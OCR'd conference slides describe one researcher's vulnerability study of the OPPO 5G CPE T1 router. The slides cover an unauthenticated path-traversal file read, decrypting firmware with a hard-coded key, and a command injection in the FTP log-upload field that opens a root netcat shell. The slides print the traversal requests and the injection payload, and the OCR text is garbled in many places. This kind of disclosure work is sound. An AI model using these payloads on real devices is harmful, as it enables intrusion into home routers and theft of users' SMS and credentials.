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About me R E

2022

Reverse Engineer at . positive
Positive Technologies technologies

C4T BuUuT S4D CTF
team member




In this presentation {ERE

2022

= Device info

= Black box analysis

» Finding first bug and getting firmware

= Reversing firmware :
= More bugs

= Exploitation e 3 !
= Vendor response kN
= Conclusions




. . \
Device Iinfo 25525
Modem: Updates:

Qualcomm Snhapdragon not publicly available,
X55 5GC modem vendor provides

. them in encrypted
CPU: ARM Cortex-A7 form via FOTA.
up to 1.5 GHz
OS: Linux
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Device info

OPPO 5G CPETI
€425,00

SKU: OPP100001

OPPO 5G CPETI

The OPPO 5G CPE features the Snapdragon X55 chipset from Qualcomm, the latest generation
of 56 modems. This 5G router is also available in a *5G for Home (workers) or Office”
subscription including data subscription, switch, access points and external 5G antenna.

KEY BENEFITS

s Lightning-fast 5G router

« This router is backwards compatible on 4G LTE
« Has WIiFi 6

« Features an ARM Cortex-A7 CPU with max 1.5GHz

e Ix Gigabit LAN [ WAN port and Gigabit 2x LAN ports

Quantity

E Add to basket
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e No firmware « YOU are a reverse

engineer gy =2
* Not allowed to
open the device * How do you | —
and desolder find anything? T

the flash drive
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Black box analysis

-+ oppo5gtl sudo nmap -sS -p@-65535 192.168.99.1

Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-16 13:31 MSK
Nmap scan report for 192.168.99.1

Host is up (0.010s latency).

Not shown: 65534 closed tcp ports (reset)

PORT  STATE SERVICE

53/tcp open domain

80/tcp open http
MAC Address: 88:03:E9:01:4F:22 (Guangdong Oppo Mobile Telecommunications)

Nmap done: 1 IP address (1 host up) scanned in 27.51 seconds
+ oppoSgt1 ||

10



Web app analysis

« We are looking for
INnputs that are
potentially substituted
Into OS commands

« Loading/downloading
HIES

- Updating/downgrading
firmware

 Enabling additional
services

« Changing config files

VFF

{ONE

2022

n



Typical web request

fuserLogin HTTE/ 1.1

®t/plain, */*
MNT 10.0; Wing4d; =g4) AppleWehEit
arset=UTF-8

1/ login
lat

B,en;g=0.7

TN YW zMZODYZMDQ L Tiwiakl=T )¢
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Reqguests are
encrypted on
the frontend

Can't control
values directly
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Getting logs

GET /fapi/fileDownload//oatptmp/log.tar HTTP/1.1

' Host: 192.168.99.1
i Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/5.0 (Windows NT 18.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/181.0.4951.41 5afari/537.36

5 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, image/apng,+*/*;q=0.8,application/
signed-exchange;v=b3;g=0.9

& Referer: http://192.168.99.1/advanced-setting/system-setting/diagnostic-Llog

/I Accept-Encoding: gzip, deflate

8 Accept-Language: ru-RU,ru;qg=0.9,en-U5;g=0.8,en;g=0.7

9 Cookie: access_token=
eyJhbGciOiJIUzIINiIsInRScCIGIkpXVCI9.eylpYXQi0iIxNjUIMzc3MTg5MTI3IiwiaXNzIjoiT1BQTyIsInVzZXIJuYW1lIjoiYWRtawdi
TQ.3D6TYzMxvedIZUEIVhTEOWhDV11xEbgZGT juP9AUjzC

Connection: close

1@
11
12

/api/ﬁleDovvnIoad/
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Raw Hex

GET fapi/fileDownload//etc/passwd HTTP/1.1

Host: 192.168,99,1 ' —

Upgrade-Insecure-Requests: 1

User-agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/101.8.4951.41 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/=xml;g=0.9, image/avif, image/webp, imag

efapng,*/+;0=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.99.1/advanced-setting/system-setting/diagnostic-log

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU,ru;g=0.9,en-U5;q=0.8,en;q=0.7

Cookie: access_token=

eyJhbGci0ilIUzIINIiIsInRScCIGIkpXVCI9.eylpYXQi0iTIxNjUIMzc2ZMTg@MTURI iwiaXNzIjoiT1E

OTyIsInVzZXJu¥YWllIjoiYWRtaWdifQ.7k3BEW_aYJIteoWTjUok2tLsbGkeVdkE LtE-WKFbTUQ

Connection: close

Pretty Raw Hex Render

HTTP/1.1 483 Forbidden

Server: nginx

Date: Wed, @1 Jan 2820 @8:58:13 GMT
Content-Type: text/html; charset=utf-&
Connection: close

Content-Length: 548

<html=>
<head=
=title=
483 Forbidden
<ftitle>
</head>
<body=>
=center=>
<hl=>
483 Forbidden
</hl>




Yay, we're reading a file!

Raw Hex

GET /fapi/fileDownload//etc/profile] HTTP/1.1

Host: 192.168.99.1

Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/5.@ (Windows NT 18.8; Win6d; x64) AppleWebKit,/537.36 (KHTML,
like Gecko) Chrome/181.8.4951.41 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;g=0.9, image/avif, image/webp, imag

efapng,*/+*;q=0.8,application/signed-exchange;v=b3;g=0.9

Referer: http://192.168.99.1/advanced-setting/system-setting/diagnostic-1log

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU,ru;g=0.9,en=-U5;q=0.8,en;q=0.7

Cookie: access_token=

eylhbGci0iJIUzZIINIISINRScCIGIkpAVCI 9. eylpYXQ101iIxNjUIMzc2ZMTgeMTURI 1wiaXNzLljoiT1E

QTyIsInVzZXJu¥YW1llIjoiYWRtaWd4if(. 7k3BEW_aYJlIteoWT jUokZtLsbGkeVdkELLE-WKFbTUQ

Connection: close

Raw Hex

HTTP/1.1 288 0K

Server: nginx

Date: Wed, @1 Jan 2020 8@:59:12 GMT
Content=Type: application/octet-=stream
Content-Length: 984

Last-Modified: Fri, @1 Aug 2088 12:@80:88 GMT
Connection: close

ETag: "4892Tac@-3da"

Cache-Control: no-store

Cache-Control: no-cache

Accept-Ranges: bytes

# /etc/profile: system—-wide .profile file for the
# and Bourne compatible shells (bash{1), ksh(1),

PATH="/usr/local/bin:/usr/bin:/bin"
EDITOR=""w1i" # needed for packages like cron, ¢
[ "sTERM" 1 || TERM="wvtle@" # Basic terminal capal

# Add /sbin & co to SPATH for the root user
[ "SHOME" != "/home/root" ] || PATH=SPATH:/usr/lo




Yay, we're reading a file!

Raw Hex Raw Hex

GET /api/fileDownload//etc/nginx/nginx.conf HTTP/1.1 HTTP/1.1 288 0K

’ Host: 192.168.99.1 ! Server: nginx

i Upgrade-Insecure-Reguests: 1 3 Date: Wed, @1 Jan 2020 81:83:83 GMT
User-Agent: Mozilla/5.8 (Windows NT 18.8; Win6d; xb64) AppleWebKit/537.36 (KHTML, 4 Content-Type: application/octet-stream

like Gecko) Chrome/101.8.4951.41 Safari/537.36 5 Content-Length: 56638

5 Accept: 5 Last-Modified: Wed, 81 Jan 2820 @0:88:21 GMT
text/html,application/xhtml+xml,application/xml;q=06.9, image/avif, image/webp, imag ’ Connection: close
efapng,*/*;0=0.8,application/signed-exchange;v=b3;q=0.9 8 ETag: "5eBbell5-1624"

6 Accept-Encoding: gzip, deflate 9 Cache-Control: no-store

' Accept-Language: ru-RU,ru;gq=0.9,en-U5;g9=0.8,en;q=0.7 Cache=Control: no-cache

& Connection: close Accept-Ranges: bytes

#user root;
5 worker_processes 1;

' #error_log logs/error.log;
4 #error_log logs/error.log notice;

! #error_log logs/error.log info;

#pid logs/nginx.pid;




Results so far
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We can read files
without authorization

But we don't know the
names of files
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Getting logs

< tmplog co
Muin

B bootup_kmsg.log
B ipc_kernel.log
B network_photo.txt
v [ serviceLog
B 20200101T002754.tar
« [l data
v log
K OPTTemp.log.gz
B RunTime_2020.01.04.19.40.20-2020.01.04.19.40.20.l0g.0001.gz
B RunTime_2021.12.07.01.31.03-2021.12.07.01.31.03.l0g.0002.gz
B RunTime_2022.02.21.18.35.55-2022.02.21.18.35.55.l0g.0003.gz
B RunTimeTemp.log.gz
B SecurityTemp.log.gz
B sys_on_off_reason.log
B svs_pon.log
B system_photo.txt

VFF
{ONE

2022

system_photo.txt — ps aux
network_photo.txt — netstat
bootup_kmgs.log — boot log

RunTimeTemp.log —
global log of all apps

18



RunTimeTemp.log

Check new version request

2902
29083
2904
2985
2906
2987
2908
2909
29180
2911
2912
2913
2914

16431
16432
16433
16434
16435
16436
16437

[2620/01/@1 04-25-54] [fota] [I] [QueryUpdateHandler.cpp:92] update encrypt req is {
"params" : "bsgaAtFVsQlpYXALTfHfXPuBR9nQ2rkAlaqdBP+CiDWeYIT7cWf1IMZPsqvPBZaN+Znmf64A31FXr9Z84nvtdm

}

[2620/01/01 04-25-54] [fota] [I] [HttpClient.cpp:168] url is https://iota.coloros.com/post/Query_Update
[2020/01/01 04-25-54] [fotal [I] [HttpClient.cpp:238] curl init succ!
[2628/01/@01 04-25-54] [fota] [I] [HttpClient.cpp:246] curl_easy_cleanup!
[2626/01/01 04-25-54] [fota] [I] [FotaHandler.cpp:272] CheckVersion rsp is {

"ErrorCode" : @,

"errCode" : @,

"hasNewVersion" : false,

"newVersion" : s

[2626/01/01 00-00-31] [fota] [I] [HttpClient.cpp:246] curl_easy_cleanup!
[2626/01/01 00-00-31] [fotal [I] [FotaHandler.cpp:272] CheckVersion rsp is {
"ErrorCode" : @,
"errCode" : @,
"hasNewVersion" : true,

"newVersion" : "CTA@2 TI.B.331_5239_232153&11336"

NO

FF

ONE

2022
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Getting firmware update directly

16319
16320
16321
16322
16323
16324
16325
16326
16327
16328
16329
16330

'

<

[2620/01/01 0B-00-25] [fota] [I]

[2820/01/01 00-08-25] [fota] [I]

[2620/01/01 00-0@-29] [fota] [I]

[2620/01/01 00-08-29] [fota] [I]

[2620/01/01 00-08-29] [fota] [I]
"modules" :

[

FF
ONE

2022

NO

[HttpClient.cpp:168] url is https://iota.coloros.com/post/Query_Update

[HttpClient.cpp:238] curl init succ!

[HttpClient.cpp:186] rsp code is 200

[FotaHandler.cpp:293] QueryUpdate raw rsp is {"resps":"VDLLqdy65iVN@ik3KX37XoLTepY8bXxucBwz57cSSUswzUbwlTQ7s571xaSvAZXi6hrBQIgnj6AZegEWIngT+6ukH8Dn
[QueryUpdateHandler.cpp:135] query update decode rsp is {

"active_url" : "http://otafs-cost.coloros.com/CTAB2/CTAG2_11.B.001_0230_202103011386/patch/CHN/CTADZ/CTAG2_11.B.001_0230_202103011306/4abf7ozip",

"description" : "https://otaafs-cost.coloros.com/CTA@2/CTA®2_11.B.001_0230_202103011306/html/CHN/CTAR2/CTAR2_11.B.001_0230_202103011306/en-US_bcc225038a50_5_0.html"

"down_url" : "http://otaafs—cost.coloros.com/CTA@2/CTA®2_11.6.001_0230_2021030811386/patch/CHN/CTA@2/CTAG2_11.6.001_0230_202103011306/4abf7o0zip",

Fextract” ! \USDT/A\U/SZB\UBLT1I\UBDED \UTTUS\U/TEE\UdbTU\UT TUY\USDDE\U/ToE\U/DBB\U4ECD™,
"googlePatchLevel" : @,

down_url,— firmware

description — HTML with release notes

20



Analyzing the update file

00

deoeooe
deveale
devenze
depea3e
deooade
Deoease
Depoece
depeare
depease
deveaoe
De0B0AR
depeaBe
deveace
deveaDe
Deoeoce
Deooare
degelee
degelle

Update file is encrypted

74 61
2E 38
38 31
6F 6E
31 5F
33 308
3D 43
38 32

36 31
31 33
3D 43
30 32
36 OA
54 41
33 30

5F
3@
54
33
76
30
5F

31
36
34

36
66
31
35
74
63
6F
72
43
32
A
3@
S5F
72
5F
3@

B 2abf7.0zip

b0 01 @2 @3 @4 @5 06 07 08 99 GA @B @C @D @E @F
4F 50 50 4F 45 4E 43
31 34 35 35 36
31 38 65 34 34
34 62 61 33 32
34 65 35 36 61
7@ 61 74 63 68
65 3D 30 @A 65
5F 76 65 72 73
6F 69 64 5F 76
2D 69 64

52 59 50
30 30 00
31 34 34
35 3@ 65
35 0@ 00
79 7@ 65
72 79 70
6E 3D 31
73 69 6F
54 41 30
33 3@ 5F
6F 74 61
32 5F 31
32 30 32
73 69 6F
31 31 2E
32 31 30

54 21 00 00 B0 BA
00 00 60 B0 00 @A
62 62 61 36 33 39
38 64 36 66 37 B2
00 00 00 20 @0 9A
3D 31 @A 77 69 70
74 3D 31 @A 6F 73
3@ OA 61 6E b4 72
6E 3D 31 30 @A 6F
32 5F 31 31 2E 42
32 38 32 31 38 33
5F 76 65 72 73 69
31 2E 42 2E 30 30
31 3@ 33 30 31 31
BE 5F 6E 61 6D 65
42 2E 30 38 31 5F
33 38 31 31 33 30

OPPOENCRYPT!
145561600
18e446f144bba639
4ba32415@e8d6f7b
4e56af55
patch_type=1 wip
e=0 encrypt=1 os
_version=1@ andr
oid_version=10 o
ta-id=CTA®Z_11.B
.001_0230_2062103
011306 ota_versi
on=CTABZ2_11.B.00
1_8230_202163011
306 version_name
=CTABZ2_11.B.001_
0230_20210301130

36 A 00 00 00 00 G0 G0 P 00 0O 02 00 00 00 PO 6

>
=
=

=
=

Ll
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Figure 1

Entropy

0.6
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Results so far
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We can read files
without authorization

We downloaded
firmware

But we don't know how
to decrypt the firmware

22



Back to the logs {ERE

2022

[2020/01/01 00-02-04] [upg_mng] [E] [UpgMng.cpp:2087] [CheckState]: read upgstate failed, file does not exist
[2020/01/01 00-04-04] [upg_mng] [E] [UpgMng.cpp:287] [CheckStatel: read upgstate failed, file does not exist
[2020/01/01 00-06-04] [upg_mng] [E] [UpgMng.cpp:2087] [CheckState]: read upgstate failed, file does not exist
[2020/01/01 00-08-04] [upg_mng] [E] [UpgMng.cpp:287] [CheckStatel]: read upgstate failed, file does not exist

[<time>][ [[<msg-type>] [<Source-name=>] [<func>]:
<msg>

GET /api/fileDownload//usr/bin/upg_mng HTTP/1.1 HTTP/1.1 288 0K
? Host: 192.168.99,1 - =————— ? Server: nginx
3 Upgrade-Insecure-Requests: 1 3 Date: Wed, 81 Jan 2020 81:27:25 GMT
4 User=Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML, 4 Content-Type: application/octet-stream
like Gecko) Chrome/181.8.4951.41 Safari/537.36 5 Content-Length: 59576
5 Accept: 5 Last-Modified: Fri, @1 Aug 2008 12:80:88 GMT
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, imag 7/ Connection: close

efapng,*/+;q=0.8,application/signed-exchange;v=b3;q=0.9 d ETag: "489%92fac@-e8bs"
5 Accept-Encoding: gzip, deflate 9 Cache-=Control: no-store
7 Accept-Language: ru-RU,ru;q=08.9,en-U5;g=0.8,en;q=0.7 3 Cache=Control: no-cache
8 Connection: close 11 Accept-Ranges: bytes
12

13 ELF({242a3
14 (444@@tttdoditptitidm p 1 1 DDPAtd\O\O\ DDAt
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upg_mng — analysis

SpaceVerify((int)wvl)

DecryptPack{{int}vl}

DecompressPack (1)

CheckVerify()

CheckSwver((int)v1l)

CheckHwVer()

(v8 = sub_9cce(), Upgsha25esumValid((int)v8))
sub 933C((int)vl)

sub_797C(vl) )

— ———————

« Do some checks
« Decrypt firmware
« Decompress firmware

FF
ONE
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memset(vll, @, sizeof(vll));
if ( *(_DWORD *)al )
snprintf(vll, @x88u, "¥s¥%s", (const char *)v5[8], “Upgrade.tar");
else
snprintf(vil, ex8eu, "%s¥%s", “//oatptmp/upgrade/", “"Upgrade.tar");
memset(s, 8, sizeof(s));
v3 = DecryptData(al, *(const char **)(al + 4), 4176, v1l);
it ( v3 )
vZ[8] = v8;
std::__cxxll::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_constructl
V7,

"RunTime"™,

a);

vo[e] = vie;

std::  cxxl1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_construct
v9,
“Jwork/oppo_cpebuild/jenkins work/workspace/HRI_WTD _SDX55 CPE_28504 release/2007141816/:
" 11.B.981 release 14181819 WORK/codebase/SDX55/application/upgrade/code/upgmng/UpgProc.
8);

OatpLogFileLine(v7, 2, v9, 356, "“[%s]: Decrypt file error!", "DecryptPack");

if ( vo[e] != vie )
operator delete(vo[@]);

if ( v7[e] 1= v8 )
operator delete(v7[8]);

snprintf(s, @xi1eeu, "rm -rf %s && rm -rf %s", *(const char **)(al + 4), vl1l);

system(s);

system("sync");

24



upg_mng — firmware decryption SEF
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Key + IV hardcoded in binary

25



Unencrypted firmware

-+ scripts file 4abf7o0zip.dec
4abf7ozip.dec: POSIX tar archive (GNU)
-+ scripts xxd 4abf7ozip.dec | head

00000000 :
00000010:
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090

6465 7669 6365 6964 0000 0000 0000 0000 deviceid........
0000 0000 0000 0000 0000 00V0 0000 V0D ................
0000 0000 0000 0000 0000 00VO P0G V0D ................
0000 0000 0000 0000 0000 00V0 0000 000D ................
0000 0000 0000 000D 0000 00VO P0G V0D ................
0000 0000 0000 0000 0000 00VO 000G V00 ................
0000 0000 3030 3030 3630 3400 3030 3031 ....0000664.0001
3735 3600 3030 3031 3735 3600 3030 3030 756.0001756.0000
3030 3030 3030 3400 3134 3631 3731 3034 0000004.14017104
3331 3100 3031 3237 3135 0020 3000 0000 311.012715. 0...

=+ scripts binwalk 4abf7o0zip.dec

DECIMAL HEXADECIMAL DESCRIPTION
(7} 0x0 POSIX tar archive (GNU)
» scripts ||

Tar archive with
Linux system/ — rootfs

< upackUpdate

] deviceid
[ digitalSign
+ [ update_ubi
B boot.img
B device_table.txt
[7] file_contexts
+ [ firmware-update
> @ _NOMN-HLOS.ubi-0.extracted
B NON-HLOS.ubi
+ [l META-INF
> @ com
v [ recovery
> B etc
B recovery-from-boot.p
> @ system
B update_ubi.zip
1 UpgSha2586
] UpgTaskFile
B version.txt

NO
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Results so far AEFe
We can read We downloaded We have all
files without (and decrypted) binaries and
authorization firmware data files

i 1.
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Low hanging fruits

v7 = Json::Value::operator[](v17, "reqType");
Json::Value::Value((Json::Value *)vi18, "http");
v8 = Json::Value::operator==(v7, v18);
Jsonintilue::~Value((Json::Value *)vi1g);
if ( v8 )
{

vll = downloadWithHttp(al, a3);

Json::Value::~Value((Json::Value *)v18);
if ( !vie )
{

LABEL _4:

vil = 1,;

goto LABEL_5;

}

vll = SendToFtp(al, (int)vil7);

}

VFF
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This feature does not
show In the web
application, but we can
download logs via FTP

What could
possibly go wrong?

28
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: \P% e
e
/ :$Z~ **:char_traits<char>>(&v26, "/bin/curl -T ", 13); é‘\ \
- . , Iﬁ_. . :

/ e > . iy T e 20 X

-

“ar»»(&v2e, v21[P

D L
rh. A0S
Co é’&‘gli ‘ .:.:char_traits<ch;

@\\3‘ éé\' 32 (&v26, " -k, 3);

Z Q _~char>»>(&v26, " connect-timeout ~ Z‘
i\‘ ‘, .- _traits<char>>(&std::cout, "curl command: ", 14); 1 Z~
¢ ™ er? $
3 QQ {6/7
O 2



Exploitation

O Omagune T Cere {3} Crunm N Mpodainep 1F Namare E Xpanwnuwe 'ﬁ' MogaepsKa 4ocTyMHOCTH gaa Mp

KoHtyp { } appfadb3ied)s X

__console.log(r, 'request data j‘z?:::j

s

JSoM. stringify{r)
p.a.enc.Utfs. parse:Ft:
+ LM -

e TEHHHPH

p.ay"""

w

k.t

} app.fadb3763.js

[ ] OcHosHoE noTok H, S
AES: P g{r, "request ¢

£ 192.168,99, —
[ (index
B is

1 static/staticSerint

JSON. stringify(r

¥ ':-:-:'
{JEFCQUITE AS2QNEMIUESS 11D kanr—j;x;ne~5r~rj LOEG L1CE /e
W7 EugOWNhnlyfMog3B+FhRFECWVSXITY? jmEqBgviWRa=arLatgcwPoasy
pegafbafc2ifer7esslecesefslcaaffsa™
“tject 1 AES: "wH2UQLnzgeqlI/MeThQWUTpod2djpolE+g2/KlBeZM=AcQumttBCh jwHk Y +guvzy

JEmH+txyhau2eyMtEqY j4rcqozt 875 20hEMIDE351r IURBXNP+jaxodevenynaULoeqllce78a0E]L 4F Lt 2+0efPREBEQE2ErCceXga
JWT: "X5VrkH 1Et CESK2eGXY FEUQOWNNN 1Y fMog 2B+ FhRFECVSXITY 7 jmEqBgviRa+wrLatgcwPoaeybocleDvpLxmermt jnBploZzeslPiaub

5fa355b3678a114cad16f7eB649e34fbafc21feT7eB318ca6a8f6lcaatfEa™ }

<emply string»
api
fapifommng/cetLog

Jommng/GetLog




Exploitation

, “ftpPath”:"http://192.168.99.142", "fipUsername”:"1"; /usr/binfnc -1lp 1227 -2 Sfbinfbash &"",

1";/usr/binf/nc -1p 1337 -e /bin/bash &'", ftpPassword

r = Object({"reqType":"ftp", "ftpPath":"http://192.168.99.142",
"ftpUsername":"1 ",
"ftpPassword":"1"})

» /tmp nc 192.168.99.1 1337 id

1s uid=0(root) gid=0(root)

WEBSERVER name -a-

bin Linux sdxprairie 4.14.117-perf #1 PREEMPT Mon Mar 1 06:07:

boot [

build.prop

;ache

3]



Sensitive data

-+ Oppo python3 file_dumper.py 192.168.99.1 /data/database/sms_data.json
200
[+] File /data/database/sms_data.json saved to ./fs_reconstruct/data/database/sms_data. json
-+ Oppo cd scripts
-+ scripts 1s

upackUpdate
-+ scripts python3 decode_configs.py ../fs_reconstruct/data/database/sms_data. json
b' [\n\t{\n\t\t"Data" : "\\u@41f\\ud43e\\ud437\\ud434\\ud440\\ud430\\ud432\\ud43b\\ud44 \\u@435\\ud43
S\\u@43d VIP-\\u@441\\ud442\\ud430\\u0442\\u0443\\uo441! \\ud41f\\ud43e\\ud43b\\u@44c\\ud437\\ud443\
0430\\u@442\\u@43d\\ud43e \\ud43d\\ud43e\\u@432\\ud44b\\ud43c\\ud438 \\u@432\\ud43e\\ud437\\ud43c\\u
\\u@44b\\u@441\\u@442\\ud440\\ud43e\\ud435 \\ud441\\ud43e\\ud435\\ud434\\ud438\\ud43d\\ud435\\ud43d\
u@43a\\ud43e\\ud439\\n- \\ud418\\ud43d\\ud442\\ud435\\u@440\\ud43d\\ud435\\ud442 \\ud43d\\u@430 \\u@
e\\u@439 \\u@441\\ud43a\\ud43e\\ud440\\ud43e\\ud441\\u@442\\u@438\\n- \\ud41e\\ud431\\u@441\\ud43b\\
0430\\u@448\\u@438\\ud445 \\ud441\\ud430\\ud43b\\ud43e\\ud43d\\ud430\\ud445 \\ud431\\ud435\\ud437 \\
\\u@446\\u@43F\\ud440\\ud435\\ud434\\ud43b\\ud43e\\ud436\\ud435\\ud43d\\ud438\\ud44f \\ubd438 \\ud441
\u@442\\u@43d\\ud435\\ud440\\ud43e\\ud432\\n\\ud41 \\ud43e\\ud434\\ud440\\ud43e\\ud431\\ud43d\\ud43e
\\u@441\\u@442\\u@432\\u0438\\ud44f \\ud441\\u@442\\ud430\\ud442\\ud443\\ud441\\ud430 \\ud438 \\ud43
https://lk.megafon.ru/inapp/vip\\n" ,\n\t\t"ReadStatus" : 1,\n\t\t"SmsSn" : 1,\n\t\t"SrcAddr" : "=<27?
T M\u0417\\u0434\\u0440\\ud430\\ud432\\ud441\\ud442\\ub432\\ud443\\ud439\\ud442\\ud435! \\ud42d\\u@

FF
ONE

2022

NO

Different configs are
stored on the device,
they are encrypted with
AES-256 OFB with a
hard-coded key in the
binary

SAMBA config with a
plain-text password,

user config (password
hashed), SMS archive.
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Final results

Bug in log
download

Logs contain binary names
and link to firmware update

We can download update
binary and decrypt firmware

A N
VFF
{ONE

2022

Command injection in
the log download method
(coded Iin firmware but
not used in the web app
for FTP download)

Log download bug
lets us get any config
file and decrypt it
(and read SMS)
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Why did all this happen?

Raw Hex

GET /api/fileDownload//etc/nginx/nginx.conf HTTP/1.1
I

' Host: 192.168.99.1
3 Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Windows NT 10.@; Wing4; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/181.8.4951.41 Safari/537.36

5 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, imag

e/apng,*/+;0=0.8,application/signed-exchange;v=b3;g=0.9

5 Referer: http://192.168.99.1/advanced-setting/system-setting/diagnostic-1log
/ Accept-Enceding: gzip, deflate

3 Accept-Language: ru-RU,ru;q=0.9,en-U5;q=0.8,en;q=0.7

9 Cookie: access_token=

1@
11
12

eylhbGci0iJIUzIINIiISInRScCIGIkpXVCI9. eylpYXQi0ilxNjUIMzc2ZMTg@MTUBT iw NzIjoiT1B
OTyIsInVzZXIuYW1lIjoiYWRtaW4if(Q.7k3BEW _aYJIt6oWfjUok2tLsbGkeVdAKELtE-WKFbTUQ
Connection: close

FF

NO

2022

location fapi/fileDownload/ {
alias /;

# redirect server error pages to the static page /58:
#
error_page 588 562 563 504 /50x.html;
location = /5@x.html {
root html;
¥

# proxy the PHP scripts to Apache listening on 127.8.
#

#location ~ \.php$ {

# proxy_pass http://127.8.8.1;

ONE

34



INnteraction with the vendor

No danger?




INnteraction with the vendor

Regarding the problem of RCE, we cannot reproduce it according to the way you provided. Even if

we can reproduce the problem, it is still not an RCE, because it connects directly to the router thro

ugh the LAN port and enters the operation carried out by the router management background

Okay. Then can | post information about this non-vulnerability?




Conclusions

W W W
U U U

WAOPA
WAOPA

WAOPA

-06036,
-06037,
-06038

VFF
{ONE

2022

One small mistake can
lead to a complete
collapse of security

Manufacturers still allow
command injection
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